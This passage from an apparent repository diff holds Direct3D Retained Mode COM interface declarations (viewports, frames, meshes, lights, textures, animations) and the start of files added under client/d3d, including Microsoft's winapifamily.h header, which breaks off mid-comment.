STDMETHOD(InitFromClipper)(THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, int width, int height) PURE;
STDMETHOD(Update)(THIS) PURE;
STDMETHOD(AddUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE;
STDMETHOD(DeleteUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE;
STDMETHOD(SetBufferCount)(THIS_ DWORD) PURE;
STDMETHOD_(DWORD, GetBufferCount)(THIS) PURE;
STDMETHOD(SetDither)(THIS_ BOOL) PURE;
STDMETHOD(SetShades)(THIS_ DWORD) PURE;
STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE;
STDMETHOD(SetTextureQuality)(THIS_ D3DRMTEXTUREQUALITY) PURE;
STDMETHOD(GetViewports)(THIS_ LPDIRECT3DRMVIEWPORTARRAY *return_views) PURE;
STDMETHOD_(BOOL, GetDither)(THIS) PURE;
STDMETHOD_(DWORD, GetShades)(THIS) PURE;
STDMETHOD_(DWORD, GetHeight)(THIS) PURE;
STDMETHOD_(DWORD, GetWidth)(THIS) PURE;
STDMETHOD_(DWORD, GetTrianglesDrawn)(THIS) PURE;
STDMETHOD_(DWORD, GetWireframeOptions)(THIS) PURE;
STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE;
STDMETHOD_(D3DCOLORMODEL, GetColorModel)(THIS) PURE;
STDMETHOD_(D3DRMTEXTUREQUALITY, GetTextureQuality)(THIS) PURE;
STDMETHOD(GetDirect3DDevice)(THIS_ LPDIRECT3DDEVICE *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMViewport
DECLARE_INTERFACE_(IDirect3DRMViewport, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)(THIS_ LPDIRECT3DRMDEVICE d,LPDIRECT3DRMFRAME c,DWORD x,DWORD y,DWORD w,DWORD h) PURE;
STDMETHOD(Clear)(THIS) PURE;
STDMETHOD(Render)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(SetFront)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetBack)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetField)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetUniformScaling)(THIS_ BOOL) PURE;
STDMETHOD(SetCamera)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(SetProjection)(THIS_ D3DRMPROJECTIONTYPE) PURE;
STDMETHOD(Transform)(THIS_ D3DRMVECTOR4D *d, D3DVECTOR *s) PURE;
STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DRMVECTOR4D *s) PURE;
STDMETHOD(Configure)(THIS_ LONG x, LONG y, DWORD width, DWORD height) PURE;
STDMETHOD(ForceUpdate)(THIS_ DWORD x1, DWORD y1, DWORD x2, DWORD y2) PURE;
STDMETHOD(SetPlane)(THIS_ D3DVALUE left, D3DVALUE right, D3DVALUE bottom, D3DVALUE top) PURE;
STDMETHOD(GetCamera)(THIS_ LPDIRECT3DRMFRAME *) PURE;
STDMETHOD(GetDevice)(THIS_ LPDIRECT3DRMDEVICE *) PURE;
STDMETHOD(GetPlane)(THIS_ D3DVALUE *left, D3DVALUE *right, D3DVALUE *bottom, D3DVALUE *top) PURE;
STDMETHOD(Pick)(THIS_ LONG x, LONG y, LPDIRECT3DRMPICKEDARRAY *return_visuals) PURE;
STDMETHOD_(BOOL, GetUniformScaling)(THIS) PURE;
STDMETHOD_(LONG, GetX)(THIS) PURE;
STDMETHOD_(LONG, GetY)(THIS) PURE;
STDMETHOD_(DWORD, GetWidth)(THIS) PURE;
STDMETHOD_(DWORD, GetHeight)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetField)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetBack)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetFront)(THIS) PURE;
STDMETHOD_(D3DRMPROJECTIONTYPE, GetProjection)(THIS) PURE;
STDMETHOD(GetDirect3DViewport)(THIS_ LPDIRECT3DVIEWPORT *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMFrame
DECLARE_INTERFACE_(IDirect3DRMFrame, IDirect3DRMVisual)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(AddChild)(THIS_ LPDIRECT3DRMFRAME child) PURE;
STDMETHOD(AddLight)(THIS_ LPDIRECT3DRMLIGHT) PURE;
STDMETHOD(AddMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE;
STDMETHOD(AddTransform)(THIS_ D3DRMCOMBINETYPE, D3DRMMATRIX4D) PURE;
STDMETHOD(AddTranslation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(AddScale)(THIS_ D3DRMCOMBINETYPE, D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
STDMETHOD(AddRotation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE;
STDMETHOD(AddVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE;
STDMETHOD(GetChildren)(THIS_ LPDIRECT3DRMFRAMEARRAY *children) PURE;
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
STDMETHOD(GetLights)(THIS_ LPDIRECT3DRMLIGHTARRAY *lights) PURE;
STDMETHOD_(D3DRMMATERIALMODE, GetMaterialMode)(THIS) PURE;
STDMETHOD(GetParent)(THIS_ LPDIRECT3DRMFRAME *) PURE;
STDMETHOD(GetPosition)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_position) PURE;
STDMETHOD(GetRotation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR axis, LPD3DVALUE return_theta) PURE;
STDMETHOD(GetScene)(THIS_ LPDIRECT3DRMFRAME *) PURE;
STDMETHOD_(D3DRMSORTMODE, GetSortMode)(THIS) PURE;
STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(GetTransform)(THIS_ D3DRMMATRIX4D return_matrix) PURE;
STDMETHOD(GetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_velocity, BOOL with_rotation) PURE;
STDMETHOD(GetOrientation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR dir, LPD3DVECTOR up) PURE;
STDMETHOD(GetVisuals)(THIS_ LPDIRECT3DRMVISUALARRAY *visuals) PURE;
STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE;
STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE;
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg)PURE;
STDMETHOD(LookAt)(THIS_ LPDIRECT3DRMFRAME target, LPDIRECT3DRMFRAME reference, D3DRMFRAMECONSTRAINT) PURE;
STDMETHOD(Move)(THIS_ D3DVALUE delta) PURE;
STDMETHOD(DeleteChild)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(DeleteLight)(THIS_ LPDIRECT3DRMLIGHT) PURE;
STDMETHOD(DeleteMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE;
STDMETHOD(DeleteVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE;
STDMETHOD_(D3DCOLOR, GetSceneBackground)(THIS) PURE;
STDMETHOD(GetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE *) PURE;
STDMETHOD_(D3DCOLOR, GetSceneFogColor)(THIS) PURE;
STDMETHOD_(BOOL, GetSceneFogEnable)(THIS) PURE;
STDMETHOD_(D3DRMFOGMODE, GetSceneFogMode)(THIS) PURE;
STDMETHOD(GetSceneFogParams)(THIS_ D3DVALUE *return_start, D3DVALUE *return_end, D3DVALUE *return_density) PURE;
STDMETHOD(SetSceneBackground)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetSceneBackgroundRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(SetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE) PURE;
STDMETHOD(SetSceneBackgroundImage)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
STDMETHOD(SetSceneFogEnable)(THIS_ BOOL) PURE;
STDMETHOD(SetSceneFogColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetSceneFogMode)(THIS_ D3DRMFOGMODE) PURE;
STDMETHOD(SetSceneFogParams)(THIS_ D3DVALUE start, D3DVALUE end, D3DVALUE density) PURE;
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD_(D3DRMZBUFFERMODE, GetZbufferMode)(THIS) PURE;
STDMETHOD(SetMaterialMode)(THIS_ D3DRMMATERIALMODE) PURE;
STDMETHOD(SetOrientation)(THIS_ LPDIRECT3DRMFRAME r, D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,D3DVALUE ux,D3DVALUE uy,D3DVALUE uz) PURE;
STDMETHOD(SetPosition)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(SetRotation)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE;
STDMETHOD(SetSortMode)(THIS_ D3DRMSORTMODE) PURE;
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
STDMETHOD(SetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, BOOL with_rotation) PURE;
STDMETHOD(SetZbufferMode)(THIS_ D3DRMZBUFFERMODE) PURE;
STDMETHOD(Transform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMMesh
DECLARE_INTERFACE_(IDirect3DRMMesh, IDirect3DRMVisual)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE;
STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE;
STDMETHOD(AddGroup)(THIS_ unsigned vCount, unsigned fCount, unsigned vPerFace, unsigned *fData, D3DRMGROUPINDEX *returnId) PURE;
STDMETHOD(SetVertices)(THIS_ D3DRMGROUPINDEX id, unsigned index, unsigned count, D3DRMVERTEX *values) PURE;
STDMETHOD(SetGroupColor)(THIS_ D3DRMGROUPINDEX id, D3DCOLOR value) PURE;
STDMETHOD(SetGroupColorRGB)(THIS_ D3DRMGROUPINDEX id, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(SetGroupMapping)(THIS_ D3DRMGROUPINDEX id, D3DRMMAPPING value) PURE;
STDMETHOD(SetGroupQuality)(THIS_ D3DRMGROUPINDEX id, D3DRMRENDERQUALITY value) PURE;
STDMETHOD(SetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL value) PURE;
STDMETHOD(SetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE value) PURE;
STDMETHOD_(unsigned, GetGroupCount)(THIS) PURE;
STDMETHOD(GetGroup)(THIS_ D3DRMGROUPINDEX id, unsigned *vCount, unsigned *fCount, unsigned *vPerFace, DWORD *fDataSize, unsigned *fData) PURE;
STDMETHOD(GetVertices)(THIS_ D3DRMGROUPINDEX id, DWORD index, DWORD count, D3DRMVERTEX *returnPtr) PURE;
STDMETHOD_(D3DCOLOR, GetGroupColor)(THIS_ D3DRMGROUPINDEX id) PURE;
STDMETHOD_(D3DRMMAPPING, GetGroupMapping)(THIS_ D3DRMGROUPINDEX id) PURE;
STDMETHOD_(D3DRMRENDERQUALITY, GetGroupQuality)(THIS_ D3DRMGROUPINDEX id) PURE;
STDMETHOD(GetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL *returnPtr) PURE;
STDMETHOD(GetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE *returnPtr) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMShadow
DECLARE_INTERFACE_(IDirect3DRMShadow, IDirect3DRMVisual)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)
( THIS_ LPDIRECT3DRMVISUAL visual, LPDIRECT3DRMLIGHT light,
D3DVALUE px, D3DVALUE py, D3DVALUE pz,
D3DVALUE nx, D3DVALUE ny, D3DVALUE nz
) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMFace
DECLARE_INTERFACE_(IDirect3DRMFace, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(AddVertexAndNormalIndexed)(THIS_ DWORD vertex, DWORD normal) PURE;
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE, D3DVALUE, D3DVALUE) PURE;
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
STDMETHOD(SetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE u, D3DVALUE v) PURE;
STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE;
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
STDMETHOD(GetVertex)(THIS_ DWORD index, D3DVECTOR *vertex, D3DVECTOR *normal) PURE;
STDMETHOD(GetVertices)(THIS_ DWORD *vertex_count, D3DVECTOR *coords, D3DVECTOR *normals);
STDMETHOD(GetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE *u, D3DVALUE *v) PURE;
STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE;
STDMETHOD(GetNormal)(THIS_ D3DVECTOR *) PURE;
STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(GetMaterial)(THIS_ LPDIRECT3DRMMATERIAL *) PURE;
STDMETHOD_(int, GetVertexCount)(THIS) PURE;
STDMETHOD_(int, GetVertexIndex)(THIS_ DWORD which) PURE;
STDMETHOD_(int, GetTextureCoordinateIndex)(THIS_ DWORD which) PURE;
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMMeshBuilder
DECLARE_INTERFACE_(IDirect3DRMMeshBuilder, IDirect3DRMVisual)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg) PURE;
STDMETHOD(Save)(THIS_ const char *filename, D3DRMXOFFORMAT, D3DRMSAVEOPTIONS save) PURE;
STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE;
STDMETHOD(SetColorSource)(THIS_ D3DRMCOLORSOURCE) PURE;
STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE;
STDMETHOD(GenerateNormals)(THIS) PURE;
STDMETHOD_(D3DRMCOLORSOURCE, GetColorSource)(THIS) PURE;
STDMETHOD(AddMesh)(THIS_ LPDIRECT3DRMMESH) PURE;
STDMETHOD(AddMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER) PURE;
STDMETHOD(AddFrame)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(AddFace)(THIS_ LPDIRECT3DRMFACE) PURE;
STDMETHOD(AddFaces)
( THIS_ DWORD vcount, D3DVECTOR *vertices, DWORD ncount, D3DVECTOR *normals,
DWORD *data, LPDIRECT3DRMFACEARRAY*
) PURE;
STDMETHOD(ReserveSpace)(THIS_ DWORD vertex_Count, DWORD normal_count, DWORD face_count) PURE;
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE;
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE;
STDMETHOD(SetPerspective)(THIS_ BOOL) PURE;
STDMETHOD(SetVertex)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(SetNormal)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(SetTextureCoordinates)(THIS_ DWORD index, D3DVALUE u, D3DVALUE v) PURE;
STDMETHOD(SetVertexColor)(THIS_ DWORD index, D3DCOLOR) PURE;
STDMETHOD(SetVertexColorRGB)(THIS_ DWORD index, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(GetFaces)(THIS_ LPDIRECT3DRMFACEARRAY*) PURE;
STDMETHOD(GetVertices)
( THIS_ DWORD *vcount, D3DVECTOR *vertices, DWORD *ncount, D3DVECTOR *normals, DWORD *face_data_size, DWORD *face_data
) PURE;
STDMETHOD(GetTextureCoordinates)(THIS_ DWORD index, D3DVALUE *u, D3DVALUE *v) PURE;
STDMETHOD_(int, AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD_(int, AddNormal)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(CreateFace)(THIS_ LPDIRECT3DRMFACE*) PURE;
STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE;
STDMETHOD_(BOOL, GetPerspective)(THIS) PURE;
STDMETHOD_(int, GetFaceCount)(THIS) PURE;
STDMETHOD_(int, GetVertexCount)(THIS) PURE;
STDMETHOD_(D3DCOLOR, GetVertexColor)(THIS_ DWORD index) PURE;
STDMETHOD(CreateMesh)(THIS_ LPDIRECT3DRMMESH*) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMLight
DECLARE_INTERFACE_(IDirect3DRMLight, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(SetType)(THIS_ D3DRMLIGHTTYPE) PURE;
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(SetRange)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetUmbra)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetPenumbra)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetConstantAttenuation)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetLinearAttenuation)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetQuadraticAttenuation)(THIS_ D3DVALUE) PURE;
STDMETHOD_(D3DVALUE, GetRange)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetUmbra)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetPenumbra)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetConstantAttenuation)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetLinearAttenuation)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetQuadraticAttenuation)(THIS) PURE;
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
STDMETHOD_(D3DRMLIGHTTYPE, GetType)(THIS) PURE;
STDMETHOD(SetEnableFrame)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(GetEnableFrame)(THIS_ LPDIRECT3DRMFRAME*) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMTexture
DECLARE_INTERFACE_(IDirect3DRMTexture, IDirect3DRMVisual)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(InitFromFile)(THIS_ const char *filename) PURE;
STDMETHOD(InitFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS) PURE;
STDMETHOD(InitFromResource)(THIS_ HRSRC) PURE;
STDMETHOD(Changed)(THIS_ BOOL pixels, BOOL palette) PURE;
STDMETHOD(SetColors)(THIS_ DWORD) PURE;
STDMETHOD(SetShades)(THIS_ DWORD) PURE;
STDMETHOD(SetDecalSize)(THIS_ D3DVALUE width, D3DVALUE height) PURE;
STDMETHOD(SetDecalOrigin)(THIS_ LONG x, LONG y) PURE;
STDMETHOD(SetDecalScale)(THIS_ DWORD) PURE;
STDMETHOD(SetDecalTransparency)(THIS_ BOOL) PURE;
STDMETHOD(SetDecalTransparentColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(GetDecalSize)(THIS_ D3DVALUE *width_return, D3DVALUE *height_return) PURE;
STDMETHOD(GetDecalOrigin)(THIS_ LONG *x_return, LONG *y_return) PURE;
STDMETHOD_(D3DRMIMAGE *, GetImage)(THIS) PURE;
STDMETHOD_(DWORD, GetShades)(THIS) PURE;
STDMETHOD_(DWORD, GetColors)(THIS) PURE;
STDMETHOD_(DWORD, GetDecalScale)(THIS) PURE;
STDMETHOD_(BOOL, GetDecalTransparency)(THIS) PURE;
STDMETHOD_(D3DCOLOR, GetDecalTransparentColor)(THIS) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMWrap
DECLARE_INTERFACE_(IDirect3DRMWrap, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)
( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME ref,
D3DVALUE ox, D3DVALUE oy, D3DVALUE oz,
D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,
D3DVALUE ux, D3DVALUE uy, D3DVALUE uz,
D3DVALUE ou, D3DVALUE ov,
D3DVALUE su, D3DVALUE sv
) PURE;
STDMETHOD(Apply)(THIS_ LPDIRECT3DRMOBJECT) PURE;
STDMETHOD(ApplyRelative)(THIS_ LPDIRECT3DRMFRAME frame, LPDIRECT3DRMOBJECT) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMMaterial
DECLARE_INTERFACE_(IDirect3DRMMaterial, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(SetPower)(THIS_ D3DVALUE power) PURE;
STDMETHOD(SetSpecular)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE;
STDMETHOD(SetEmissive)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE;
STDMETHOD_(D3DVALUE, GetPower)(THIS) PURE;
STDMETHOD(GetSpecular)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE;
STDMETHOD(GetEmissive)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMAnimation
DECLARE_INTERFACE_(IDirect3DRMAnimation, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(SetOptions)(THIS_ D3DRMANIMATIONOPTIONS flags) PURE;
STDMETHOD(AddRotateKey)(THIS_ D3DVALUE time, D3DRMQUATERNION *q) PURE;
STDMETHOD(AddPositionKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(AddScaleKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(DeleteKey)(THIS_ D3DVALUE time) PURE;
STDMETHOD(SetFrame)(THIS_ LPDIRECT3DRMFRAME frame) PURE;
STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE;
STDMETHOD_(D3DRMANIMATIONOPTIONS, GetOptions)(THIS) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMAnimationSet
DECLARE_INTERFACE_(IDirect3DRMAnimationSet, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(AddAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE;
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg, LPDIRECT3DRMFRAME parent)PURE;
STDMETHOD(DeleteAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE;
STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMUserVisual
DECLARE_INTERFACE_(IDirect3DRMUserVisual, IDirect3DRMVisual)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)(THIS_ D3DRMUSERVISUALCALLBACK fn, void *arg) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMArray
DECLARE_INTERFACE_(IDirect3DRMArray, IUnknown)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMDeviceArray
DECLARE_INTERFACE_(IDirect3DRMDeviceArray, IDirect3DRMArray)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMDEVICE *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMFrameArray
DECLARE_INTERFACE_(IDirect3DRMFrameArray, IDirect3DRMArray)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFRAME *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMViewportArray
DECLARE_INTERFACE_(IDirect3DRMViewportArray, IDirect3DRMArray)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVIEWPORT *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMVisualArray
DECLARE_INTERFACE_(IDirect3DRMVisualArray, IDirect3DRMArray)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMPickedArray
DECLARE_INTERFACE_(IDirect3DRMPickedArray, IDirect3DRMArray)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetPick)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *, LPDIRECT3DRMFRAMEARRAY *, LPD3DRMPICKDESC) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMLightArray
DECLARE_INTERFACE_(IDirect3DRMLightArray, IDirect3DRMArray)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMLIGHT *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMFaceArray
DECLARE_INTERFACE_(IDirect3DRMFaceArray, IDirect3DRMArray)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFACE *) PURE;
};
#endif

2159
client/d3d/d3dtypes.h Normal file

File diff suppressed because it is too large Load Diff

251
client/d3d/winapifamily.h Normal file
View File

@@ -0,0 +1,251 @@
/*
Copyright (c) Microsoft Corporation. All rights reserved.
Module Name:
winapifamily.h
Abstract:
Master include file for API family partitioning.
*/
#ifndef _INC_WINAPIFAMILY
#define _INC_WINAPIFAMILY
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(push)
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
#endif
#pragma once
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#include <winpackagefamily.h>
/*
* When compiling C and C++ code using SDK header files, the development
* environment can specify a target platform by #define-ing the
* pre-processor symbol WINAPI_FAMILY to one of the following values.
* Each FAMILY value denotes an application family for which a different
* subset of the total set of header-file-defined APIs are available.
* Setting the WINAPI_FAMILY value will effectively hide from the
* editing and compilation environments the existence of APIs that
* are not applicable to the family of applications targeting a
* specific platform.
*/
/* In Windows 10, WINAPI_PARTITIONs will be used to add additional
